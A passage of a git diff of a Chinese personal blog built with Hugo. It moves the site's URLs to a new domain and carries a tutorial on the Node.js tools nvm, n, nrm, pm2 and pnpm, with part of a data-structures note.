https://npm.taobao.org/mirrors/npm/\n环境变量\nNVM_HOME设置为nvm安装目录\nNVM_SYMLINK设置为nodejs安装目录\nPath：添加%NVM_HOME%和%NVM_SYMLINK%\n注意：安装路径不能出现中文或者空格，否则报错，请使用管理员权限运行use命令，否则可能导致exit status 1:xxx\n安装指定版本nodejs\nnvm install 14.17.3\n查看可以安装的nodejs版本\nnvm ls available\n查看当前全部已经安装的nodejs版本\nnvm ls\n切换nodejs版本\nnvm use 14.17.3\n卸载nodejs\nnvm uninstall 14.17.3\n查看系统位数和node位数\nnvm arch\n另一个nodejs多版本管理工具n\n安装n\nnpm install -g n\n安装最新nodejs版本\nn latest\n安装稳定版本nodejs\nn stable\n安装lts版本\nn lts\n安装指定版本的nodejs（如果已安装了这个版本，那么就会选择这个版本，这个命令可以用来安装和选择）\nn 14.17.3\n卸载指定版本\nn rm 14.17.3\n指定版本执行js\nn use 14.17.3 app.js\n切换版本（n回车后，通过上下键来选择版本）\nn\n查看网络上可以安装的nodejs版本\nn ls-remote –all\n删除除当前版本外的全部版本\nn prune\nnrm镜像源管理工具\n安装nrm\nnpm install -g nrm\n查看全部源\nnrm ls\n带*的是当前源\n切换源\nnrm use taobao\n添加自定义源（腾讯npm）\nnrm add tencentnpm https://mirrors.cloud.tencent.com/npm/\n删除源\nnrm del taobao\n测试源速度\nnrm test npm\nPM2是node进程管理工具，可以用来监控性能，进程守护，负载均衡等等\n安装pm2\nnpm install -g pm2\n或者\nyarn add global pm2\n启动应用（–watch是当文件发生变化自动重启，-i 3是3个app.js的应用实例，-name是命名应用）\npm2 start app.js –watch -i 3 -name=“main”\n执行app.js文件并且监听app.js的变化，-i为进程数，max表示当前cpu可启动的最大进程\npm2 start app.js –watch -i max –ignore-watch=“node_modules” –name demo\n–ignore-watch=“node_modules\"为忽略监听指定的目录或者文件，这里忽略的是node_modules文件夹\n–name为进程名字\npm2执行npm run dev\npm2 start npm –watch – run dev\npm2执行npm run start\npm2 start npm –name demo – run start\n停止应用\npm2 stop app.js\n重启应用\npm2 reload app.js\n删除应用\npm2 delete app.js\n也可以用all来处理全部应用\npm2不只是只能启动nodejs，Python或者shell都可以\n查看PM2中的进程信息\npm2 list\n查看指定进程id的信息\npm2 show 0\n重启指定进程id的进程\npm2 restart 0\n重启全部进程\npm2 restart all\n停止指定进程id的进程\npm2 stop 0\n删除指定进程id的进程\npm2 delete 0\n显示全部应用日志\npm2 logs\n查看指定应用的日志\npm2 logs main\n清空所有日志文件\npm2 flush\n更新pm2\nnpm install pm2@latest -g\npm2内存更新\npm2 update\n查看pm2运行中的全部应用\npm2 list\n查看各个应用内存占用和CPU情况\npm2 monit\n查看指定应用的全部信息\npm2 show main\npnpm\npnpm是Node.js包管理工具，解决了npm/yarn的一些BUG\n特点是：包安装速度极快，磁盘空间利用高效，支持monorepo\n和yarn一样，也是通过缓存来保存安装过的包，使用pnpm-lock.yaml记录依赖包版本\npnpm是利用软链接（快捷方式）来实现依赖结构扁平化，从而解决了从缓存中拷贝文件的时间\n更安全：没有在package.json声明，将不能使用依赖，而且不存在依赖提升（一个包依赖于另一个包，而且那个包不需要声明，就可以使用）\n安装\nnpm install -g pnpm\n安装包\npnpm install axios\n升级\npnpm add -g pnpm\n卸载\npnpm uninstall axios –filter package-a\n","wordCount":"255","inLanguage":"en","datePublished":"2021-09-16T21:55:00Z","dateModified":"2021-09-16T21:55:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/105/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>NodeJS常用工具的简单使用</h1><div class=post-meta><span title='2021-09-16 21:55:00 +0000 UTC'>2021-09-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/NodeJS%e5%b8%b8%e7%94%a8%e5%b7%a5%e5%85%b7%e7%9a%84%e7%ae%80%e5%8d%95%e4%bd%bf%e7%94%a8.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>npm在这里https://xiaochenabc123.test.com/archives/31.html</p><p>Yarn在这里https://xiaochenabc123.test.com/archives/38.html</p><hr><p>nvm全名node.js version management</p><p>用来nodejs多版本管理，可以切换和安装不同版本的nodejs</p><p>安装nvm之前记得把安装过的nodejs都卸载了</p><p>安装完成后，安装目录下会生成一个settings.txt文件</p><p>配置一下（如果要使用淘宝npm源的话）</p><p>root: D:\Software\nvm
 path: D:\Software\nodejs
 arch: 64
 node_mirror: <a href=https://npm.taobao.org/mirrors/node/>https://npm.taobao.org/mirrors/node/</a>
-npm_mirror: <a href=https://npm.taobao.org/mirrors/npm/>https://npm.taobao.org/mirrors/npm/</a></p><p>环境变量</p><p>NVM_HOME设置为nvm安装目录</p><p>NVM_SYMLINK设置为nodejs安装目录</p><p>Path：添加%NVM_HOME%和%NVM_SYMLINK%</p><p>注意：安装路径不能出现中文或者空格，否则报错，请使用管理员权限运行use命令，否则可能导致exit status 1:xxx</p><p>安装指定版本nodejs</p><p>nvm install 14.17.3</p><p>查看可以安装的nodejs版本</p><p>nvm ls available</p><p>查看当前全部已经安装的nodejs版本</p><p>nvm ls</p><p>切换nodejs版本</p><p>nvm use 14.17.3</p><p>卸载nodejs</p><p>nvm uninstall 14.17.3</p><p>查看系统位数和node位数</p><p>nvm arch</p><hr><p>另一个nodejs多版本管理工具n</p><p>安装n</p><p>npm install -g n</p><p>安装最新nodejs版本</p><p>n latest</p><p>安装稳定版本nodejs</p><p>n stable</p><p>安装lts版本</p><p>n lts</p><p>安装指定版本的nodejs（如果已安装了这个版本，那么就会选择这个版本，这个命令可以用来安装和选择）</p><p>n 14.17.3</p><p>卸载指定版本</p><p>n rm 14.17.3</p><p>指定版本执行js</p><p>n use 14.17.3 app.js</p><p>切换版本（n回车后，通过上下键来选择版本）</p><p>n</p><p>查看网络上可以安装的nodejs版本</p><p>n ls-remote &ndash;all</p><p>删除除当前版本外的全部版本</p><p>n prune</p><hr><p>nrm镜像源管理工具</p><p>安装nrm</p><p>npm install -g nrm</p><p>查看全部源</p><p>nrm ls</p><p>带*的是当前源</p><p>切换源</p><p>nrm use taobao</p><p>添加自定义源（腾讯npm）</p><p>nrm add tencentnpm <a href=https://mirrors.cloud.tencent.com/npm/>https://mirrors.cloud.tencent.com/npm/</a></p><p>删除源</p><p>nrm del taobao</p><p>测试源速度</p><p>nrm test npm</p><hr><p>PM2是node进程管理工具，可以用来监控性能，进程守护，负载均衡等等</p><p>安装pm2</p><p>npm install -g pm2</p><p>或者</p><p>yarn add global pm2</p><p>启动应用（&ndash;watch是当文件发生变化自动重启，-i 3是3个app.js的应用实例，-name是命名应用）</p><p>pm2 start app.js &ndash;watch -i 3 -name=&ldquo;main&rdquo;</p><p>执行app.js文件并且监听app.js的变化，-i为进程数，max表示当前cpu可启动的最大进程</p><p>pm2 start app.js –watch -i max –ignore-watch=“node_modules” –name demo</p><p>–ignore-watch=“node_modules"为忽略监听指定的目录或者文件，这里忽略的是node_modules文件夹</p><p>–name为进程名字</p><p>pm2执行npm run dev</p><p>pm2 start npm –watch – run dev</p><p>pm2执行npm run start</p><p>pm2 start npm –name demo – run start</p><p>停止应用</p><p>pm2 stop app.js</p><p>重启应用</p><p>pm2 reload app.js</p><p>删除应用</p><p>pm2 delete app.js</p><p>也可以用all来处理全部应用</p><p>pm2不只是只能启动nodejs，Python或者shell都可以</p><p>查看PM2中的进程信息</p><p>pm2 list</p><p>查看指定进程id的信息</p><p>pm2 show 0</p><p>重启指定进程id的进程</p><p>pm2 restart 0</p><p>重启全部进程</p><p>pm2 restart all</p><p>停止指定进程id的进程</p><p>pm2 stop 0</p><p>删除指定进程id的进程</p><p>pm2 delete 0</p><p>显示全部应用日志</p><p>pm2 logs</p><p>查看指定应用的日志</p><p>pm2 logs main</p><p>清空所有日志文件</p><p>pm2 flush</p><p>更新pm2</p><p>npm install pm2@latest -g</p><p>pm2内存更新</p><p>pm2 update</p><p>查看pm2运行中的全部应用</p><p>pm2 list</p><p>查看各个应用内存占用和CPU情况</p><p>pm2 monit</p><p>查看指定应用的全部信息</p><p>pm2 show main</p><hr><p>pnpm</p><p>pnpm是Node.js包管理工具，解决了npm/yarn的一些BUG</p><p>特点是：包安装速度极快，磁盘空间利用高效，支持monorepo</p><p>和yarn一样，也是通过缓存来保存安装过的包，使用pnpm-lock.yaml记录依赖包版本</p><p>pnpm是利用软链接（快捷方式）来实现依赖结构扁平化，从而解决了从缓存中拷贝文件的时间</p><p>更安全：没有在package.json声明，将不能使用依赖，而且不存在依赖提升（一个包依赖于另一个包，而且那个包不需要声明，就可以使用）</p><p>安装</p><p>npm install -g pnpm</p><p>安装包</p><p>pnpm install axios</p><p>升级</p><p>pnpm add -g pnpm</p><p>卸载</p><p>pnpm uninstall axios &ndash;filter package-a</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/nodejs/>nodejs</a></li><li><a href=https://xiaochenabc123.github.io/tags/nvm/>nvm</a></li><li><a href=https://xiaochenabc123.github.io/tags/nrm/>nrm</a></li><li><a href=https://xiaochenabc123.github.io/tags/pm2/>pm2</a></li><li><a href=https://xiaochenabc123.github.io/tags/n/>n</a></li><li><a href=https://xiaochenabc123.github.io/tags/pnpm/>pnpm</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/106/><span class=title>« Prev</span><br><span>数据结构学习笔记</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/101/><span class=title>Next »</span><br><span>Angular学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+npm_mirror: <a href=https://npm.taobao.org/mirrors/npm/>https://npm.taobao.org/mirrors/npm/</a></p><p>环境变量</p><p>NVM_HOME设置为nvm安装目录</p><p>NVM_SYMLINK设置为nodejs安装目录</p><p>Path：添加%NVM_HOME%和%NVM_SYMLINK%</p><p>注意：安装路径不能出现中文或者空格，否则报错，请使用管理员权限运行use命令，否则可能导致exit status 1:xxx</p><p>安装指定版本nodejs</p><p>nvm install 14.17.3</p><p>查看可以安装的nodejs版本</p><p>nvm ls available</p><p>查看当前全部已经安装的nodejs版本</p><p>nvm ls</p><p>切换nodejs版本</p><p>nvm use 14.17.3</p><p>卸载nodejs</p><p>nvm uninstall 14.17.3</p><p>查看系统位数和node位数</p><p>nvm arch</p><hr><p>另一个nodejs多版本管理工具n</p><p>安装n</p><p>npm install -g n</p><p>安装最新nodejs版本</p><p>n latest</p><p>安装稳定版本nodejs</p><p>n stable</p><p>安装lts版本</p><p>n lts</p><p>安装指定版本的nodejs（如果已安装了这个版本，那么就会选择这个版本，这个命令可以用来安装和选择）</p><p>n 14.17.3</p><p>卸载指定版本</p><p>n rm 14.17.3</p><p>指定版本执行js</p><p>n use 14.17.3 app.js</p><p>切换版本（n回车后，通过上下键来选择版本）</p><p>n</p><p>查看网络上可以安装的nodejs版本</p><p>n ls-remote &ndash;all</p><p>删除除当前版本外的全部版本</p><p>n prune</p><hr><p>nrm镜像源管理工具</p><p>安装nrm</p><p>npm install -g nrm</p><p>查看全部源</p><p>nrm ls</p><p>带*的是当前源</p><p>切换源</p><p>nrm use taobao</p><p>添加自定义源（腾讯npm）</p><p>nrm add tencentnpm <a href=https://mirrors.cloud.tencent.com/npm/>https://mirrors.cloud.tencent.com/npm/</a></p><p>删除源</p><p>nrm del taobao</p><p>测试源速度</p><p>nrm test npm</p><hr><p>PM2是node进程管理工具，可以用来监控性能，进程守护，负载均衡等等</p><p>安装pm2</p><p>npm install -g pm2</p><p>或者</p><p>yarn add global pm2</p><p>启动应用（&ndash;watch是当文件发生变化自动重启，-i 3是3个app.js的应用实例，-name是命名应用）</p><p>pm2 start app.js &ndash;watch -i 3 -name=&ldquo;main&rdquo;</p><p>执行app.js文件并且监听app.js的变化，-i为进程数，max表示当前cpu可启动的最大进程</p><p>pm2 start app.js –watch -i max –ignore-watch=“node_modules” –name demo</p><p>–ignore-watch=“node_modules"为忽略监听指定的目录或者文件，这里忽略的是node_modules文件夹</p><p>–name为进程名字</p><p>pm2执行npm run dev</p><p>pm2 start npm –watch – run dev</p><p>pm2执行npm run start</p><p>pm2 start npm –name demo – run start</p><p>停止应用</p><p>pm2 stop app.js</p><p>重启应用</p><p>pm2 reload app.js</p><p>删除应用</p><p>pm2 delete app.js</p><p>也可以用all来处理全部应用</p><p>pm2不只是只能启动nodejs，Python或者shell都可以</p><p>查看PM2中的进程信息</p><p>pm2 list</p><p>查看指定进程id的信息</p><p>pm2 show 0</p><p>重启指定进程id的进程</p><p>pm2 restart 0</p><p>重启全部进程</p><p>pm2 restart all</p><p>停止指定进程id的进程</p><p>pm2 stop 0</p><p>删除指定进程id的进程</p><p>pm2 delete 0</p><p>显示全部应用日志</p><p>pm2 logs</p><p>查看指定应用的日志</p><p>pm2 logs main</p><p>清空所有日志文件</p><p>pm2 flush</p><p>更新pm2</p><p>npm install pm2@latest -g</p><p>pm2内存更新</p><p>pm2 update</p><p>查看pm2运行中的全部应用</p><p>pm2 list</p><p>查看各个应用内存占用和CPU情况</p><p>pm2 monit</p><p>查看指定应用的全部信息</p><p>pm2 show main</p><hr><p>pnpm</p><p>pnpm是Node.js包管理工具，解决了npm/yarn的一些BUG</p><p>特点是：包安装速度极快，磁盘空间利用高效，支持monorepo</p><p>和yarn一样，也是通过缓存来保存安装过的包，使用pnpm-lock.yaml记录依赖包版本</p><p>pnpm是利用软链接（快捷方式）来实现依赖结构扁平化，从而解决了从缓存中拷贝文件的时间</p><p>更安全：没有在package.json声明，将不能使用依赖，而且不存在依赖提升（一个包依赖于另一个包，而且那个包不需要声明，就可以使用）</p><p>安装</p><p>npm install -g pnpm</p><p>安装包</p><p>pnpm install axios</p><p>升级</p><p>pnpm add -g pnpm</p><p>卸载</p><p>pnpm uninstall axios &ndash;filter package-a</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/nodejs/>nodejs</a></li><li><a href=https://chenjunlinabc.github.io/tags/nvm/>nvm</a></li><li><a href=https://chenjunlinabc.github.io/tags/nrm/>nrm</a></li><li><a href=https://chenjunlinabc.github.io/tags/pm2/>pm2</a></li><li><a href=https://chenjunlinabc.github.io/tags/n/>n</a></li><li><a href=https://chenjunlinabc.github.io/tags/pnpm/>pnpm</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/106/><span class=title>« Prev</span><br><span>数据结构学习笔记</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/101/><span class=title>Next »</span><br><span>Angular学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/106/index.html b/posts/106/index.html
index 4f6c3724..ec4b0a6d 100644
--- a/posts/106/index.html
+++ b/posts/106/index.html
@@ -9,8 +9,8 @@
 栈：线性结构的一种特殊的存储方式
 数据存储是按照先进后出的原理，先进入的数据，放在最下面，最后进入的放在最前面
 数据的获取也是才上面往下面获取的
-顺序栈：会在顺序栈中设置一个永远指向顶部元素的变量，当这个变量为-1的时候，说明这个栈没有元素，而存储一个元素就加一，获取就减一"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/106/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="数据结构学习笔记"><meta property="og:description" content="数据结构其实就是带结构的数据元素的集合，结构是数据元素之间的关系
+顺序栈：会在顺序栈中设置一个永远指向顶部元素的变量，当这个变量为-1的时候，说明这个栈没有元素，而存储一个元素就加一，获取就减一"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/106/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="数据结构学习笔记"><meta property="og:description" content="数据结构其实就是带结构的数据元素的集合，结构是数据元素之间的关系
 数据结构（数组，字符串，队列，栈，链表，集合，哈希表（散列表），树（二叉树），图）
 集合：结构中的元素除了同属于一个集合外，没有别的关系
 线性结构：结构中的元素之间存在一对一的关系，一个对应一个
@@ -21,7 +21,7 @@
 栈：线性结构的一种特殊的存储方式
 数据存储是按照先进后出的原理，先进入的数据，放在最下面，最后进入的放在最前面
 数据的获取也是才上面往下面获取的
-顺序栈：会在顺序栈中设置一个永远指向顶部元素的变量，当这个变量为-1的时候，说明这个栈没有元素，而存储一个元素就加一，获取就减一"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/106/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-09-17T01:00:00+00:00"><meta property="article:modified_time" content="2021-09-17T01:00:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="数据结构学习笔记"><meta name=twitter:description content="数据结构其实就是带结构的数据元素的集合，结构是数据元素之间的关系
+顺序栈：会在顺序栈中设置一个永远指向顶部元素的变量，当这个变量为-1的时候，说明这个栈没有元素，而存储一个元素就加一，获取就减一"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/106/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-09-17T01:00:00+00:00"><meta property="article:modified_time" content="2021-09-17T01:00:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="数据结构学习笔记"><meta name=twitter:description content="数据结构其实就是带结构的数据元素的集合，结构是数据元素之间的关系
 数据结构（数组，字符串，队列，栈，链表，集合，哈希表（散列表），树（二叉树），图）
 集合：结构中的元素除了同属于一个集合外，没有别的关系
 线性结构：结构中的元素之间存在一对一的关系，一个对应一个
@@ -32,8 +32,8 @@
 栈：线性结构的一种特殊的存储方式
 数据存储是按照先进后出的原理，先进入的数据，放在最下面，最后进入的放在最前面
 数据的获取也是才上面往下面获取的
-顺序栈：会在顺序栈中设置一个永远指向顶部元素的变量，当这个变量为-1的时候，说明这个栈没有元素，而存储一个元素就加一，获取就减一"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"数据结构学习笔记","item":"https://xiaochenabc123.github.io/posts/106/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"数据结构学习笔记","name":"数据结构学习笔记","description":"数据结构其实就是带结构的数据元素的集合，结构是数据元素之间的关系\n数据结构（数组，字符串，队列，栈，链表，集合，哈希表（散列表），树（二叉树），图）\n集合：结构中的元素除了同属于一个集合外，没有别的关系\n线性结构：结构中的元素之间存在一对一的关系，一个对应一个\n数性结构：结构中的元素之间存在一对多的关系\n图形结果或者网状结构：结构中的任意元素都可以有关系\n顺序结构：数据元素按照一个排序（规律）顺序存放，例如1，2，3\n链式结构：每一个数据元素都是随机存放\n栈：线性结构的一种特殊的存储方式\n数据存储是按照先进后出的原理，先进入的数据，放在最下面，最后进入的放在最前面\n数据的获取也是才上面往下面获取的\n顺序栈：会在顺序栈中设置一个永远指向顶部元素的变量，当这个变量为-1的时候，说明这个栈没有元素，而存储一个元素就加一，获取就减一","keywords":["数据结构"],"articleBody":"数据结构其实就是带结构的数据元素的集合，结构是数据元素之间的关系\n数据结构（数组，字符串，队列，栈，链表，集合，哈希表（散列表），树（二叉树），图）\n集合：结构中的元素除了同属于一个集合外，没有别的关系\n线性结构：结构中的元素之间存在一对一的关系，一个对应一个\n数性结构：结构中的元素之间存在一对多的关系\n图形结果或者网状结构：结构中的任意元素都可以有关系\n顺序结构：数据元素按照一个排序（规律）顺序存放，例如1，2，3\n链式结构：每一个数据元素都是随机存放\n栈：线性结构的一种特殊的存储方式\n数据存储是按照先进后出的原理，先进入的数据，放在最下面，最后进入的放在最前面\n数据的获取也是才上面往下面获取的\n顺序栈：会在顺序栈中设置一个永远指向顶部元素的变量，当这个变量为-1的时候，说明这个栈没有元素，而存储一个元素就加一，获取就减一\n","wordCount":"12","inLanguage":"en","datePublished":"2021-09-17T01:00:00Z","dateModified":"2021-09-17T01:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/106/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc